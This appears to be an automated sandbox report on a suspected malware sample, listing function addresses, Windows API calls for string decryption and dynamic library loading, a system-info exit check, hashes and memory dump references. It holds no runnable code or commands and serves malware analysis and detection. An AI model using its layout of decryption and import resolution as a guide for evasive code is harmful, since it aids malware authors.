API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: 134917050474b7d471302aba955204530b09060d99e16b36599f7380df89fb26
Instruction ID: a17c08addfeabe1fc2718cde13bedcb80887db9ff9d06846a9f1e8296631ebe6
Opcode Fuzzy Hash: 134917050474b7d471302aba955204530b09060d99e16b36599f7380df89fb26
Instruction Fuzzy Hash: F8416F74D0421ADFCB10DF94DC89BEEB7B9FB48344F1481AAE509A7280DB745A84CF95

Function 00408670 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004086A3
lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,00000000), ref: 004086C1
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 004086CC
memcpy.MSVCRT ref: 00408762
lstrcat.KERNEL32(?,004146BB), ref: 00408793
lstrcat.KERNEL32(?,004146BE), ref: 004087A7
lstrcat.KERNEL32(?,004146BF), ref: 004087C8

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: 8a73fd9fc10429a265bf8a2eff6282a9fe706f3605447b558db16ccf288bb887
Instruction ID: 759f9b94f9dab68f757ef779266350902495f1571f1d3faef8656b0f6ccbf499
Opcode Fuzzy Hash: 8a73fd9fc10429a265bf8a2eff6282a9fe706f3605447b558db16ccf288bb887
Instruction Fuzzy Hash: D3415074904219DFDB10DF90DD89BEEB7B9BB84304F2081A9E509A7280DB745A84CF95

Function 0089092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 00890966
GetProcAddress., xrefs: 008909DC, 008909DF, 008909E4
., xrefs: 0089095F

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: adcd894b9609cd8df190261d58f918eeacb957f99d2b879a591d27d843b4e4d9
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 713139B6900619DFDB10DF99C880AAEBBF5FF48328F29414AD841E7211D771EA45CFA4

Function 00896417 Relevance: 3.1, APIs: 2, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00894265,00000000,00000000), ref: 00896446
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00894265,00000000,00000000), ref: 00896481

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: a6a986cbc8e55ee5929cc1eba7284e3845e126ec7f7828f9e015dbd4a27db1fc
Instruction ID: 74b32dad661fcf59a1ac1bacc30024e4203d157c2211ef7f4e1affd5b36176da
Opcode Fuzzy Hash: a6a986cbc8e55ee5929cc1eba7284e3845e126ec7f7828f9e015dbd4a27db1fc
Instruction Fuzzy Hash: 87119374240308AFEB10CFA4CC95FAA77BAEB89714F248059FE159B2D0CB75A940CB54

Function 004061B0 Relevance: 3.1, APIs: 2, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00403FFE,00000000,00000000), ref: 004061DF
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00403FFE,00000000,00000000), ref: 0040621A

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: a6a986cbc8e55ee5929cc1eba7284e3845e126ec7f7828f9e015dbd4a27db1fc
Instruction ID: 729aa2d3dc43638b2e33bd8714632e0c107de5e481ca57dda5c091d028960453
Opcode Fuzzy Hash: a6a986cbc8e55ee5929cc1eba7284e3845e126ec7f7828f9e015dbd4a27db1fc
Instruction Fuzzy Hash: FB11A274240308AFEB10CFA4CC95FAA77B6EB89714F208099F9159B3D0C7B6A941CB94

Function 00401100 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00410468,00414682), ref: 0040110A
ExitProcess.KERNEL32 ref: 0040111E

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: a3b717a55ee685600f595bc677bd0d4703727e43f2e371a15f31c4c66d20cbad
Instruction ID: f9823d39dc976000c3da713aa6482b3ec4faedef8429ce93733dd161ba641eda
Opcode Fuzzy Hash: a3b717a55ee685600f595bc677bd0d4703727e43f2e371a15f31c4c66d20cbad
Instruction Fuzzy Hash: BBD05E74D0030CCFCB04DFE09D895DDBBB9FB0C311F141456D90573290DA305450CAA5

Function 008E5654 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511687586.00000000008E2000.00000040.00000020.00020000.00000000.sdmp, Offset: 008E2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e2000_7Y18r(193).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 2a9635e6a32ae64aa452f477ad345632ba43535f0ecccf6fe6c5d7bb3cf36bba
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: BC1170723405009FD744DF5ADC81FA673EAFB99328B698055ED04CB316D675EC01C760

Function 008A8029 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adc30a1db24ea9d074b98ce1ae4fdb2e37112b58be16ed2b7118c8619b8e90a7
Instruction ID: db5e6c91cca67ae90cb676a9e8c6fa7568263c16057e7cbceeb6966ea00e904f
Opcode Fuzzy Hash: adc30a1db24ea9d074b98ce1ae4fdb2e37112b58be16ed2b7118c8619b8e90a7
Instruction Fuzzy Hash: AE018F2291D3D19FCB57CF3488686427FB2EE4720479A19DEC4C18F523D621858AC742

Function 00890D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 1b35e33e417a343a45b1bc88ba0e5a1cab096ecf583cc3962548dd80f0843350
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: A3018F76A006048FDF21EF64C804BAE33F5FB86316F5945A5D90AD7281E774A9418F90

Function 008A22D7 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00412070 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 008914A7 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5723d8a4f13e80fdb60319108e426ce59ece776137d3dc195fcc8599d7aeed79
Instruction ID: c2e7c66bab7a1ac99f47eb2f94d62a15f672868f51dd82da93d8d03ab113a96e
Opcode Fuzzy Hash: 5723d8a4f13e80fdb60319108e426ce59ece776137d3dc195fcc8599d7aeed79
Instruction Fuzzy Hash: F0B012310557CC8AC10252495410A6077EC9304C11F000091E44843913C108F910C490

Function 00401240 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5723d8a4f13e80fdb60319108e426ce59ece776137d3dc195fcc8599d7aeed79
Instruction ID: c2e7c66bab7a1ac99f47eb2f94d62a15f672868f51dd82da93d8d03ab113a96e
Opcode Fuzzy Hash: 5723d8a4f13e80fdb60319108e426ce59ece776137d3dc195fcc8599d7aeed79
Instruction Fuzzy Hash: F0B012310557CC8AC10252495410A6077EC9304C11F000091E44843913C108F910C490

Function 008A23E7 Relevance: 49.7, APIs: 33, Instructions: 212libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(006187D8,00618168), ref: 008A2428
GetProcAddress.KERNEL32(006187D8,0061850C), ref: 008A2441
GetProcAddress.KERNEL32(006187D8,00618578), ref: 008A2459
GetProcAddress.KERNEL32(006187D8,006181C8), ref: 008A2471
GetProcAddress.KERNEL32(006187D8,006181B4), ref: 008A248A
GetProcAddress.KERNEL32(006187D8,00618254), ref: 008A24A2
GetProcAddress.KERNEL32(006187D8,00618420), ref: 008A24BA
GetProcAddress.KERNEL32(006187D8,00618298), ref: 008A24D3
GetProcAddress.KERNEL32(006187D8,006184EC), ref: 008A24EB
GetProcAddress.KERNEL32(006187D8,00618490), ref: 008A2503
GetProcAddress.KERNEL32(006187D8,00618314), ref: 008A251C
GetProcAddress.KERNEL32(006187D8,00618248), ref: 008A2534
GetProcAddress.KERNEL32(006187D8,00618540), ref: 008A254C
GetProcAddress.KERNEL32(006187D8,00618018), ref: 008A2565
GetProcAddress.KERNEL32(006187D8,006184E4), ref: 008A257D
GetProcAddress.KERNEL32(006187D8,00618188), ref: 008A2595
GetProcAddress.KERNEL32(006187D8,00618370), ref: 008A25AE
GetProcAddress.KERNEL32(006187D8,00618568), ref: 008A25C6
GetProcAddress.KERNEL32(006187D8,00618024), ref: 008A25DE
GetProcAddress.KERNEL32(006187D8,00618090), ref: 008A25F7
GetProcAddress.KERNEL32(006187D8,00618214), ref: 008A260F
LoadLibraryA.KERNEL32(00618498,?,008A06A7), ref: 008A2621
LoadLibraryA.KERNEL32(006180E0,?,008A06A7), ref: 008A2632
LoadLibraryA.KERNEL32(00618068,?,008A06A7), ref: 008A2644
LoadLibraryA.KERNEL32(00618140,?,008A06A7), ref: 008A2656
LoadLibraryA.KERNEL32(00618284,?,008A06A7), ref: 008A2667
GetProcAddress.KERNEL32(006185FC,006183FC), ref: 008A2689
GetProcAddress.KERNEL32(0061871C,0061837C), ref: 008A26AA
GetProcAddress.KERNEL32(0061871C,00618130), ref: 008A26C2
GetProcAddress.KERNEL32(0061880C,006182F0), ref: 008A26E4
GetProcAddress.KERNEL32(006186D0,0061808C), ref: 008A2705
GetProcAddress.KERNEL32(00618700,0061836C), ref: 008A2726
GetProcAddress.KERNEL32(00618700,00414194), ref: 008A273D

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: a6446af475f856057040de3f9c45a65888bee7be2fd0af68c1fc8b12d5e42eef
Instruction ID: 42f45a1398c14f4645ea26e2791acfaaecd85e9625a6333a9e78b724be7ac601
Opcode Fuzzy Hash: a6446af475f856057040de3f9c45a65888bee7be2fd0af68c1fc8b12d5e42eef
Instruction Fuzzy Hash: 3EA11AB55102409FC394DFA9EC88ADA77EBF78D701768E61BEA09C36A0DF359841CB50

Function 00896F77 Relevance: 29.0, APIs: 19, Instructions: 494stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008A3337: lstrlen.KERNEL32(0089427C,?,?,0089427C,00414716), ref: 008A3342
Part of subcall function 008A3337: lstrcpy.KERNEL32(00414716,00000000), ref: 008A339C

Part of subcall function 008A34C7: lstrlen.KERNEL32(00000000,?,00000000,?,00000000,00414736,00414735), ref: 008A34DC
Part of subcall function 008A34C7: lstrcpy.KERNEL32(00000000), ref: 008A351B
Part of subcall function 008A34C7: lstrcat.KERNEL32(00000000,00000000), ref: 008A3529

Part of subcall function 008A33B7: lstrcpy.KERNEL32(?,00000000), ref: 008A341C

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 008972A9
RtlAllocateHeap.NTDLL(00000000), ref: 008972B0
lstrcat.KERNEL32(?,00000000), ref: 008973F1
lstrcat.KERNEL32(?,00414A08), ref: 00897400
lstrcat.KERNEL32(?,00000000), ref: 00897413
lstrcat.KERNEL32(?,00414A0C), ref: 00897422
lstrcat.KERNEL32(?,00000000), ref: 00897435
lstrcat.KERNEL32(?,00414A10), ref: 00897444
lstrcat.KERNEL32(?,00000000), ref: 00897457
lstrcat.KERNEL32(?,00414A14), ref: 00897466
lstrcat.KERNEL32(?,00000000), ref: 00897479
lstrcat.KERNEL32(?,00414A18), ref: 00897488
lstrcat.KERNEL32(?,00000000), ref: 0089749B
lstrcat.KERNEL32(?,00414A1C), ref: 008974AA

Part of subcall function 00896767: memcmp.MSVCRT ref: 00896782
Part of subcall function 00896767: memset.MSVCRT ref: 008967B5

lstrcat.KERNEL32(?,00000000), ref: 008974F3
lstrcat.KERNEL32(?,00414A20), ref: 0089750D
lstrlen.KERNEL32(?), ref: 0089754C
lstrlen.KERNEL32(?), ref: 0089755B
memset.MSVCRT ref: 008975A4

Part of subcall function 008A3257: lstrcpy.KERNEL32(5GA,00000000), ref: 008A329F

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$Heapmemset$AllocateProcessmemcmp
String ID:
API String ID: 673082036-0
Opcode ID: 35d02b99f65f5b9c903c2c26e54eec1326a7691fa909ee767015df0a37c7766a
Instruction ID: 261f13cefb2f31e5a4d0979a0ae8bbc20396e0d4f21c59a3561403ff077fcf5c
Opcode Fuzzy Hash: 35d02b99f65f5b9c903c2c26e54eec1326a7691fa909ee767015df0a37c7766a
Instruction Fuzzy Hash: FE022971910108ABDF05EBA8DD96EFE7339FF65301F144159F106A35A1EE34AB48CB62

Function 00406D10 Relevance: 29.0, APIs: 19, Instructions: 494stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004130D0: lstrlen.KERNEL32(00000000,?,?,0040F9D0,00414677,00414676,?,?,00410567,00000000,?,008859C8,?,00414834,?,00000000), ref: 004130DB
Part of subcall function 004130D0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413135

Part of subcall function 00413260: lstrlen.KERNEL32(?,00414838,?,00000000,00414682), ref: 00413275
Part of subcall function 00413260: lstrcpy.KERNEL32(00000000), ref: 004132B4
Part of subcall function 00413260: lstrcat.KERNEL32(00000000,00000000), ref: 004132C2

Part of subcall function 00413150: lstrcpy.KERNEL32(?,00414682), ref: 004131B5

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00407042
RtlAllocateHeap.NTDLL(00000000), ref: 00407049
lstrcat.KERNEL32(?,00000000), ref: 0040718A
lstrcat.KERNEL32(?,00414A08), ref: 00407199
lstrcat.KERNEL32(?,00000000), ref: 004071AC
lstrcat.KERNEL32(?,00414A0C), ref: 004071BB
lstrcat.KERNEL32(?,00000000), ref: 004071CE
lstrcat.KERNEL32(?,00414A10), ref: 004071DD
lstrcat.KERNEL32(?,00000000), ref: 004071F0
lstrcat.KERNEL32(?,00414A14), ref: 004071FF
lstrcat.KERNEL32(?,00000000), ref: 00407212
lstrcat.KERNEL32(?,00414A18), ref: 00407221
lstrcat.KERNEL32(?,00000000), ref: 00407234
lstrcat.KERNEL32(?,00414A1C), ref: 00407243

Part of subcall function 00406500: memcmp.MSVCRT ref: 0040651B
Part of subcall function 00406500: memset.MSVCRT ref: 0040654E

lstrcat.KERNEL32(?,00000000), ref: 0040728C
lstrcat.KERNEL32(?,00414A20), ref: 004072A6
lstrlen.KERNEL32(?), ref: 004072E5
lstrlen.KERNEL32(?), ref: 004072F4
memset.MSVCRT ref: 0040733D

Part of subcall function 00412FF0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413038

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$Heapmemset$AllocateProcessmemcmp
String ID:
API String ID: 673082036-0
Opcode ID: d118afa1bda119b001ceff74a600667826f4035f7d95009499287c34a8604611
Instruction ID: 6691f588a9258b9fc81b87b5fa78a63e4fb191c346f6debf514e0fc625545640
Opcode Fuzzy Hash: d118afa1bda119b001ceff74a600667826f4035f7d95009499287c34a8604611
Instruction Fuzzy Hash: AC025F71910108ABCB04EFA1DC96EEE7779AF58306F10416EF506731A5DF386B88CB69

Function 00898F57 Relevance: 28.9, APIs: 19, Instructions: 374stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008A3257: lstrcpy.KERNEL32(5GA,00000000), ref: 008A329F

Part of subcall function 008A34C7: lstrlen.KERNEL32(00000000,?,00000000,?,00000000,00414736,00414735), ref: 008A34DC
Part of subcall function 008A34C7: lstrcpy.KERNEL32(00000000), ref: 008A351B
Part of subcall function 008A34C7: lstrcat.KERNEL32(00000000,00000000), ref: 008A3529

Part of subcall function 008A33B7: lstrcpy.KERNEL32(?,00000000), ref: 008A341C

Part of subcall function 008A1837: GetSystemTime.KERNEL32(?,00618208,00414191,?,?,00000000,?,00618154,?,00417A94,?,?,?,00417A98,00414759), ref: 008A185D

Part of subcall function 008A3437: lstrcpy.KERNEL32(00000000,?), ref: 008A3489
Part of subcall function 008A3437: lstrcat.KERNEL32(00000000), ref: 008A3499

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0089912E
RtlAllocateHeap.NTDLL(00000000), ref: 00899135
lstrcat.KERNEL32(?,00000000), ref: 0089926F
lstrcat.KERNEL32(?,00414AB4), ref: 0089927E
lstrcat.KERNEL32(?,00000000), ref: 00899291
lstrcat.KERNEL32(?,00414AB8), ref: 008992A0
lstrcat.KERNEL32(?,00000000), ref: 008992B3
lstrcat.KERNEL32(?,00414ABC), ref: 008992C2
lstrcat.KERNEL32(?,00000000), ref: 008992D5
lstrcat.KERNEL32(?,00414AC0), ref: 008992E4
lstrcat.KERNEL32(?,00000000), ref: 008992F7
lstrcat.KERNEL32(?,00414AC4), ref: 00899306
lstrcat.KERNEL32(?,00000000), ref: 00899319
lstrcat.KERNEL32(?,00414AC8), ref: 00899328
lstrcat.KERNEL32(?,00000000), ref: 0089933B
lstrcat.KERNEL32(?,00414ACC), ref: 0089934A

Part of subcall function 008A3337: lstrlen.KERNEL32(0089427C,?,?,0089427C,00414716), ref: 008A3342
Part of subcall function 008A3337: lstrcpy.KERNEL32(00414716,00000000), ref: 008A339C

lstrlen.KERNEL32(?), ref: 00899391
lstrlen.KERNEL32(?), ref: 008993A0
memset.MSVCRT ref: 008993E9

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$Heap$AllocateProcessSystemTimememset
String ID:
API String ID: 245975372-0
Opcode ID: 11ec1a2fe193cc1f3d8a417ba9b63f14695d7241628e5d7c4afcf79c9e2c0e96
Instruction ID: a60cb3a7eee8d6ebe5a0bd8aaa1d6a6a9fb2f953d582d3580e7d39aa075231f7
Opcode Fuzzy Hash: 11ec1a2fe193cc1f3d8a417ba9b63f14695d7241628e5d7c4afcf79c9e2c0e96
Instruction Fuzzy Hash: D1E12971940108AFDF05EBA8DC96EEE7379FF55301F148159F106A35A1EE34AB48CB62

Function 00408CF0 Relevance: 28.9, APIs: 19, Instructions: 374stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00412FF0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413038

Part of subcall function 00413260: lstrlen.KERNEL32(?,00414838,?,00000000,00414682), ref: 00413275
Part of subcall function 00413260: lstrcpy.KERNEL32(00000000), ref: 004132B4
Part of subcall function 00413260: lstrcat.KERNEL32(00000000,00000000), ref: 004132C2

Part of subcall function 00413150: lstrcpy.KERNEL32(?,00414682), ref: 004131B5

Part of subcall function 004115D0: GetSystemTime.KERNEL32(?,00000000,00414191,?,?,?,?,?,?,?,?,?,00403A73,?,00000014), ref: 004115F6

Part of subcall function 004131D0: lstrcpy.KERNEL32(00000000,?), ref: 00413222
Part of subcall function 004131D0: lstrcat.KERNEL32(00000000), ref: 00413232

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00408EC7
RtlAllocateHeap.NTDLL(00000000), ref: 00408ECE
lstrcat.KERNEL32(?,00000000), ref: 00409008
lstrcat.KERNEL32(?,00414AB4), ref: 00409017
lstrcat.KERNEL32(?,00000000), ref: 0040902A
lstrcat.KERNEL32(?,00414AB8), ref: 00409039
lstrcat.KERNEL32(?,00000000), ref: 0040904C
lstrcat.KERNEL32(?,00414ABC), ref: 0040905B
lstrcat.KERNEL32(?,00000000), ref: 0040906E
lstrcat.KERNEL32(?,00414AC0), ref: 0040907D
lstrcat.KERNEL32(?,00000000), ref: 00409090
lstrcat.KERNEL32(?,00414AC4), ref: 0040909F
lstrcat.KERNEL32(?,00000000), ref: 004090B2
lstrcat.KERNEL32(?,00414AC8), ref: 004090C1
lstrcat.KERNEL32(?,00000000), ref: 004090D4
lstrcat.KERNEL32(?,00414ACC), ref: 004090E3

Part of subcall function 004130D0: lstrlen.KERNEL32(00000000,?,?,0040F9D0,00414677,00414676,?,?,00410567,00000000,?,008859C8,?,00414834,?,00000000), ref: 004130DB
Part of subcall function 004130D0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413135

lstrlen.KERNEL32(?), ref: 0040912A
lstrlen.KERNEL32(?), ref: 00409139
memset.MSVCRT ref: 00409182

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$Heap$AllocateProcessSystemTimememset
String ID:
API String ID: 245975372-0
Opcode ID: 8224fe9bfe33752ef812c58f9a3c07454bd887e93f5e4e8b5787d87485b44b35
Instruction ID: ba2303238d793748fed188a988be053d5d0ac0d0c647531a17e04c80a5b47ec6
Opcode Fuzzy Hash: 8224fe9bfe33752ef812c58f9a3c07454bd887e93f5e4e8b5787d87485b44b35
Instruction Fuzzy Hash: 3AE15D71910108AFCB04EFA1DD96EEE7779AF58305F10415EF506A30A5DF386B88CB69

Function 00404A70 Relevance: 26.7, APIs: 10, Strings: 5, Instructions: 493stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00413050: lstrcpy.KERNEL32(?,00000000), ref: 00413096

Part of subcall function 004038C0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00403946

Part of subcall function 00412FF0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413038

Part of subcall function 00413260: lstrlen.KERNEL32(?,00414838,?,00000000,00414682), ref: 00413275
Part of subcall function 00413260: lstrcpy.KERNEL32(00000000), ref: 004132B4
Part of subcall function 00413260: lstrcat.KERNEL32(00000000,00000000), ref: 004132C2

Part of subcall function 00413150: lstrcpy.KERNEL32(?,00414682), ref: 004131B5

Part of subcall function 004131D0: lstrcpy.KERNEL32(00000000,?), ref: 00413222
Part of subcall function 004131D0: lstrcat.KERNEL32(00000000), ref: 00413232

lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,00000000,00000000,?,00000000,00000000,?,00414D94), ref: 00404F7E
lstrlen.KERNEL32(00000000), ref: 00404F8F
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FA0
RtlAllocateHeap.NTDLL(00000000), ref: 00404FA7
lstrlen.KERNEL32(00000000), ref: 00404FBC
memcpy.MSVCRT ref: 00404FD3
lstrlen.KERNEL32(00000000), ref: 00404FE5
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404FFE
memcpy.MSVCRT ref: 0040500B
lstrlen.KERNEL32(00000000,?,?), ref: 00405028

Strings

------, xrefs: 00404D1B
------, xrefs: 00404BA6
------, xrefs: 00404E5C
", xrefs: 00404DE5
", xrefs: 00404F26

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

